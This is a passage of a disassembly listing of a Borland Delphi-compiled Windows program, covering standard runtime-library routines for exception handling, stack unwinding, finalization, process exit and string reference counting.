locret_402DAC:				; CODE XREF: sub_402D9C+7j
		retn
sub_402D9C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402DB0	proc near		; CODE XREF: sub_402DD0+Cp
		test	ecx, ecx
		jz	short locret_402DCD
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_402DC8
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_402DCD
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_402DCB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402DC8:				; CODE XREF: sub_402DB0+Aj
		add	ecx, 5

loc_402DCB:				; CODE XREF: sub_402DB0+16j
		add	ecx, eax

locret_402DCD:				; CODE XREF: sub_402DB0+2j
					; sub_402DB0+Fj
		retn
sub_402DB0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402DD0	proc near		; CODE XREF: CODE:00402F85p
		cmp	ds:byte_41C008,	1
		jbe	short locret_402DF5
		push	eax
		push	edx
		push	ecx
		call	sub_402DB0
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	j_RaiseException
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_402DF5:				; CODE XREF: sub_402DD0+7j
		retn
sub_402DD0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402DF8	proc near		; CODE XREF: sub_403008+28p
		cmp	ds:byte_41C008,	1
		jbe	short locret_402E12
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	j_RaiseException
		pop	edx

locret_402E12:				; CODE XREF: sub_402DF8+7j
		retn
sub_402DF8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402E14	proc near		; CODE XREF: CODE:00403170p
		push	eax
		push	edx
		cmp	ds:byte_41C008,	1
		jbe	short loc_402E2E
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	j_RaiseException

loc_402E2E:				; CODE XREF: sub_402E14+9j
		pop	edx
		pop	eax
		retn
sub_402E14	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_402E34:				; CODE XREF: CODE:00402D05j
					; sub_4031E0+46j ...
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_402F57
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_402EC1
		cld
		call	sub_402B4C
		mov	edx, ds:dword_41E00C
		test	edx, edx
		jz	loc_402F57
		call	edx
		test	eax, eax
		jz	loc_402F57
		mov	edx, [esp+0Ch]
		mov	ecx, [esp+4]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_402EB8
		call	sub_402D68
		cmp	ds:byte_41C00C,	0
		jbe	short loc_402EB8
		cmp	ds:byte_41C008,	0
		ja	short loc_402EB8
		lea	ecx, [esp+4]
		push	eax
		push	ecx
		call	j_UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_402F57
		mov	edx, eax
		mov	eax, [esp+4]
		mov	ecx, [eax+0Ch]
		jmp	short loc_402EE8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402EB8:				; CODE XREF: CODE:00402E7Fj
					; CODE:00402E8Dj ...
		mov	edx, eax
		mov	eax, [esp+4]
		mov	ecx, [eax+0Ch]

loc_402EC1:				; CODE XREF: CODE:00402E51j
		cmp	ds:byte_41C00C,	1
		jbe	short loc_402EE8
		cmp	ds:byte_41C008,	0
		ja	short loc_402EE8
		push	eax
		lea	eax, [esp+8]
		push	edx
		push	ecx
		push	eax
		call	j_UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_402F57

loc_402EE8:				; CODE XREF: CODE:00402EB6j
					; CODE:00402EC8j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+28h]
		push	0
		push	eax
		push	offset loc_402F0B
		push	edx
		call	j_RtlUnwind

loc_402F0B:				; DATA XREF: CODE:00402F00o
		mov	edi, [esp+28h]
		call	sub_4059F0
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset loc_402F37
		add	ebx, 5
		call	sub_402D9C
		jmp	ebx
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402F37:				; DATA XREF: CODE:00402F26o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		call	sub_4059F0
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_402BDC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402F57:				; CODE XREF: CODE:00402E3Fj
					; CODE:00402E61j ...
		mov	eax, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_402F60:				; CODE XREF: CODE:004019BAj
					; sub_4019C8+D6j ...
		mov	eax, [esp+4]
		mov	edx, [esp+8]
		test	dword ptr [eax+4], 6
		jz	short loc_402F90
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_402F90
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_402DD0
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx

loc_402F90:				; CODE XREF: CODE:00402F6Fj
					; DATA XREF: CODE:00402F74o
		mov	eax, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402F98	proc near		; CODE XREF: sub_406CBC+11p
					; sub_406CD4+37p ...
		pop	edx
		push	esp
		push	ebp
		push	edi
		push	esi
		push	ebx
		push	eax
		push	edx
		push	esp
		push	7
		push	1
		push	0EEDFADEh
		push	edx
		jmp	j_RaiseException
sub_402F98	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402FB4	proc near		; CODE XREF: CODE:00402D23p
					; sub_4031E0+50p ...

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_402FFF
		call	sub_4059F0
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_402FEE
		mov	eax, [edx+8]
		call	sub_402BDC
		call	sub_402D4C

loc_402FEE:				; CODE XREF: sub_402FB4+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx

loc_402FFF:				; DATA XREF: sub_402FB4+4o
		mov	eax, 1
		retn
sub_402FB4	endp ; sp =  28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403008	proc near		; CODE XREF: sub_4031E0+55p
					; sub_403240+55p ...

arg_2C		= dword	ptr  30h

		call	sub_4059F0
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_402BDC
		pop	edx
		mov	esp, [esp+0FFFFFFFCh+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_402DF8
		jmp	edx
sub_403008	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403038	proc near		; CODE XREF: sub_401FD8+EDp
					; sub_401FD8+142p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_403038	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403050	proc near		; CODE XREF: CODE:004030F3p
		mov	[esp+0], edx
		jmp	sub_4034BC
sub_403050	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40305C:				; CODE XREF: CODE:0040315Bj
					; CODE:00403167j
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_403097
		jz	short loc_4030C9
		cmp	eax, 0C000008Eh
		jg	short loc_403089
		jz	short loc_4030CD
		sub	eax, 0C0000005h
		jz	short loc_4030D9
		sub	eax, 87h
		jz	short loc_4030C1
		dec	eax
		jz	short loc_4030D5
		jmp	short loc_4030E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403089:				; CODE XREF: CODE:00403072j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_4030C9
		jz	short loc_4030C5
		jmp	short loc_4030E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403097:				; CODE XREF: CODE:00403069j
		cmp	eax, 0C0000096h
		jg	short loc_4030AF
		jz	short loc_4030DD
		sub	eax, 0C0000093h
		jz	short loc_4030D5
		dec	eax
		jz	short loc_4030BD
		dec	eax
		jz	short loc_4030D1
		jmp	short loc_4030E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030AF:				; CODE XREF: CODE:0040309Cj
		sub	eax, 0C00000FDh
		jz	short loc_4030E5
		sub	eax, 3Dh
		jz	short loc_4030E1
		jmp	short loc_4030E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030BD:				; CODE XREF: CODE:004030A8j
		mov	al, 0C8h
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030C1:				; CODE XREF: CODE:00403082j
		mov	al, 0C9h
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030C5:				; CODE XREF: CODE:00403093j
		mov	al, 0CDh
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030C9:				; CODE XREF: CODE:0040306Bj
					; CODE:00403091j
		mov	al, 0CFh
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030CD:				; CODE XREF: CODE:00403074j
		mov	al, 0C8h
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030D1:				; CODE XREF: CODE:004030ABj
		mov	al, 0D7h
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030D5:				; CODE XREF: CODE:00403085j
					; CODE:004030A5j
		mov	al, 0CEh
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030D9:				; CODE XREF: CODE:0040307Bj
		mov	al, 0D8h
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030DD:				; CODE XREF: CODE:0040309Ej
		mov	al, 0DAh
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030E1:				; CODE XREF: CODE:004030B9j
		mov	al, 0D9h
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030E5:				; CODE XREF: CODE:004030B4j
		mov	al, 0CAh
		jmp	short loc_4030EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030E9:				; CODE XREF: CODE:00403087j
					; CODE:00403095j ...
		mov	al, 0FFh

loc_4030EB:				; CODE XREF: CODE:004030BFj
					; CODE:004030C3j ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_403050
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4030FC:				; DATA XREF: sub_403198+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_403195
		cmp	ds:byte_41C008,	0
		ja	short loc_403125
		lea	eax, [esp+4]
		push	eax
		call	j_UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_403195

loc_403125:				; CODE XREF: CODE:00403114j
		mov	eax, [esp+4]
		cld
		call	sub_402B4C
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_403141
		push	edx
		call	j_RtlUnwind

loc_403141:				; DATA XREF: CODE:00403136o
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_403170
		mov	edx, ds:dword_41E00C
		test	edx, edx
		jz	loc_40305C
		mov	eax, ebx
		call	edx
		test	eax, eax
		jz	loc_40305C
		mov	edx, [ebx+0Ch]

loc_403170:				; CODE XREF: CODE:00403151j
		call	sub_402E14
		mov	ecx, ds:dword_41E000
		test	ecx, ecx
		jz	short loc_403181
		call	ecx

loc_403181:				; CODE XREF: CODE:0040317Dj
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_4034BC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403195:				; CODE XREF: CODE:00403107j
					; CODE:00403123j
		xor	eax, eax
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403198	proc near		; CODE XREF: sub_4032A0+1Dp
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_4030FC
		mov	[eax+8], ebp
		mov	ds:dword_41E4A0, eax
		retn
sub_403198	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4031B8	proc near		; CODE XREF: sub_403390+BCp
		xor	edx, edx
		mov	eax, ds:dword_41E4A0
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_4031CF
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4031CD:				; CODE XREF: sub_4031B8+1Ej
		mov	ecx, [ecx]

loc_4031CF:				; CODE XREF: sub_4031B8+Dj
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_4031DC
		cmp	[ecx], eax
		jnz	short loc_4031CD
		mov	eax, [eax]
		mov	[ecx], eax

locret_4031DC:				; CODE XREF: sub_4031B8+1Aj
		retn
sub_4031B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4031E0	proc near		; CODE XREF: sub_4031E0+4Bp
					; sub_403240+4Bp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, offset unk_41E49C
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_40323A
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_403226
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		test	ebx, ebx
		jle	short loc_40321C

loc_40320A:				; CODE XREF: sub_4031E0+3Aj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_403218
		call	eax

loc_403218:				; CODE XREF: sub_4031E0+34j
		test	ebx, ebx
		jg	short loc_40320A

loc_40321C:				; CODE XREF: sub_4031E0+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_40323A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403226:				; DATA XREF: sub_4031E0+1Bo
		jmp	loc_402E34
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		call	sub_4031E0
		call	sub_402FB4
		call	sub_403008

loc_40323A:				; CODE XREF: sub_4031E0+10j
					; sub_4031E0+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4031E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_403240	proc near		; CODE XREF: sub_4032A0+29p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_41E4A4
		test	eax, eax
		jz	short loc_40329A
		mov	esi, [eax]
		xor	ebx, ebx
		mov	edi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_403286
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	esi, ebx
		jle	short loc_40327C

loc_403268:				; CODE XREF: sub_403240+3Aj
		mov	eax, [edi+ebx*8]
		inc	ebx
		mov	ds:dword_41E4A8, ebx
		test	eax, eax
		jz	short loc_403278
		call	eax

loc_403278:				; CODE XREF: sub_403240+34j
		cmp	esi, ebx
		jg	short loc_403268

loc_40327C:				; CODE XREF: sub_403240+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_40329A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403286:				; DATA XREF: sub_403240+19o
		jmp	loc_402E34
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		call	sub_4031E0
		call	sub_402FB4
		call	sub_403008

loc_40329A:				; CODE XREF: sub_403240+Dj
					; sub_403240+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_403240	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4032A0	proc near		; CODE XREF: sub_405A80+2Cp
		mov	ds:dword_41E4A4, eax
		xor	eax, eax
		mov	ds:dword_41E4A8, eax
		mov	ds:dword_41E4AC, edx
		mov	eax, [edx+4]
		mov	ds:dword_41E01C, eax
		call	sub_403198
		mov	ds:byte_41E024,	0
		call	sub_403240
		retn
sub_4032A0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4032D0	proc near		; CODE XREF: sub_40B2D4+1Fp
		push	ebx
		push	esi
		mov	ebx, [eax]
		lea	esi, [eax+4]

loc_4032D7:				; CODE XREF: sub_4032D0+17j
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax]
		call	sub_404B80
		add	esi, 8
		dec	ebx
		jnz	short loc_4032D7
		pop	esi
		pop	ebx
		retn
sub_4032D0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4032EC	proc near		; CODE XREF: sub_40B2D4+29p
		push	ebx
		push	esi
		mov	ebx, [eax]
		lea	esi, [eax+4]

loc_4032F3:				; CODE XREF: sub_4032EC+19j
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	ecx, [esi+8]
		mov	eax, [eax]
		add	eax, ecx
		mov	[edx], eax
		add	esi, 0Ch
		dec	ebx
		jnz	short loc_4032F3
		pop	esi
		pop	ebx
		retn
sub_4032EC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40330C	proc near		; CODE XREF: sub_403390+38p
		push	ebx
		mov	eax, ds:dword_41E030
		mov	ebx, offset aAt00000000	; "  at	00000000"
		mov	ecx, 0Ah

loc_40331D:				; CODE XREF: sub_40330C+1Dj
		xor	edx, edx
		div	ecx
		add	dl, 30h
		mov	[ebx], dl
		dec	ebx
		test	eax, eax
		jnz	short loc_40331D
		mov	eax, ds:dword_41E038
		call	sub_404610
		mov	edx, ds:dword_41E038
		xchg	eax, edx
		sub	eax, edx
		mov	ebx, offset aAt00000000+0Ch

loc_403344:				; CODE XREF: sub_40330C+49j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, byte ptr ds:unk_41C050[edx]
		mov	[ebx], dl
		dec	ebx
		shr	eax, 4
		jnz	short loc_403344
		pop	ebx
		retn
sub_40330C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40335C	proc near		; CODE XREF: sub_403390+D0p
		mov	edi, offset unk_41E49C
		mov	ebx, ds:dword_41E4B4
		mov	ebp, ds:dword_41E4B0
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		repe movsd
		pop	edi
		pop	esi
		xor	eax, eax
		xchg	eax, ds:dword_41E030
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn	0Ch
sub_40335C	endp ; sp =  4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403390	proc near		; CODE XREF: CODE:004034B6j
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset unk_41E49C
		mov	esi, offset dword_41E030
		mov	edi, offset unk_41E034
		cmp	byte ptr [ebx+24h], 0
		jnz	short loc_4033BF
		cmp	dword ptr [edi], 0
		jz	short loc_4033BF

loc_4033AE:				; CODE XREF: sub_403390+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_4033AE

loc_4033BF:				; CODE XREF: sub_403390+17j
					; sub_403390+1Cj
		cmp	ds:dword_41E038, 0
		jz	short loc_40340F
		call	sub_40330C
		cmp	ds:byte_41E040,	0
		jz	short loc_4033EC
		mov	edx, offset unk_41C028
		mov	eax, offset unk_41E214
		call	sub_40528C
		call	sub_40520F
		jmp	short loc_403408
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4033EC:				; CODE XREF: sub_403390+44j
		cmp	ds:byte_41C010,	0
		jnz	short loc_403408
		push	0
		push	offset aError	; "Error"
		push	offset unk_41C028
		push	0
		call	j_MessageBoxA

loc_403408:				; CODE XREF: sub_403390+5Aj
					; sub_403390+63j
		xor	eax, eax
		mov	ds:dword_41E038, eax

loc_40340F:				; CODE XREF: sub_403390+36j
					; sub_403390+F1j
		cmp	byte ptr [ebx+24h], 2
		jnz	short loc_40341F
		cmp	dword ptr [esi], 0
		jnz	short loc_40341F
		xor	eax, eax
		mov	[ebx+0Ch], eax

loc_40341F:				; CODE XREF: sub_403390+83j
					; sub_403390+88j
		call	sub_4031E0
		cmp	byte ptr [ebx+24h], 1
		jbe	short loc_40342F
		cmp	dword ptr [esi], 0
		jz	short loc_40344C

loc_40342F:				; CODE XREF: sub_403390+98j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_40344C
		call	sub_404B10
		mov	eax, [ebx+10h]
		mov	edx, [eax+10h]
		cmp	edx, [eax+4]
		jz	short loc_40344C
		push	edx
		call	j_FreeLibrary

loc_40344C:				; CODE XREF: sub_403390+9Dj
					; sub_403390+A4j ...
		call	sub_4031B8
		cmp	byte ptr [ebx+24h], 1
		jnz	short loc_40345A
		call	dword ptr [ebx+28h]

loc_40345A:				; CODE XREF: sub_403390+C5j
		cmp	byte ptr [ebx+24h], 0
		jz	short loc_403465
		call	sub_40335C

loc_403465:				; CODE XREF: sub_403390+CEj
		cmp	dword ptr [ebx], 0
		jnz	short loc_403472
		mov	eax, [esi]
		push	eax
		call	j_ExitProcess

loc_403472:				; CODE XREF: sub_403390+D8j
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		repe movsd
		pop	esi
		jmp	short loc_40340F
sub_403390	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
aPortionsCopyri	db 'Portions Copyright (c) 1983,99 Borland',0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_4034B0:				; CODE XREF: sub_4034BC+6j
		mov	ds:dword_41E030, eax
		jmp	sub_403390
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4034BC	proc near		; CODE XREF: sub_402618+24j
					; CODE:00402810j ...
		pop	ds:dword_41E038
		jmp	loc_4034B0
sub_4034BC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4034C8	proc near		; CODE XREF: sub_4035B0+23p
					; CODE:004035F6p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_4034EA
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_4034EA
		lock dec     dword ptr [edx-8]
		jnz	short locret_4034EA
		push	eax
		lea	eax, [edx-8]
		call	sub_4025B0
		pop	eax

locret_4034EA:				; CODE XREF: sub_4034C8+4j
					; sub_4034C8+10j ...
		retn
sub_4034C8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4034EC	proc near		; CODE XREF: sub_403BE8+63p
					; sub_4084A8+73Bp ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx

loc_4034F2:				; CODE XREF: sub_4034EC+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_403512
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_403512
		lock dec     dword ptr [edx-8]
		jnz	short loc_403512
		lea	eax, [edx-8]
		call	sub_4025B0

loc_403512:				; CODE XREF: sub_4034EC+Aj
					; sub_4034EC+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_4034F2
		pop	esi
		pop	ebx
		retn
sub_4034EC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


